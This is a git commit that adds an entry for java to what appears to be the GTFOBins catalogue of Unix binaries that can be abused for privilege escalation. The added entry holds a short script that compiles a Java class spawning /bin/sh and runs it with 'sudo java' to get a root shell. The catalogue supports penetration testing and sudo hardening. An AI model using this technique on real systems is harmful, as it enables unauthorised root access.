Add sudo java

This commit is contained in:
frissi0n 2024-11-11 13:15:55 +00:00
parent ac8e667a7e
commit dc77ae1823

10
_gtfobins/java.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
sudo:
- code: |
TD=$(mktemp -d)
SOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } }'
echo "$SOURCE" > $TD/Exec.java
javac $TD/Exec.java
sudo java -cp $TD Exec
---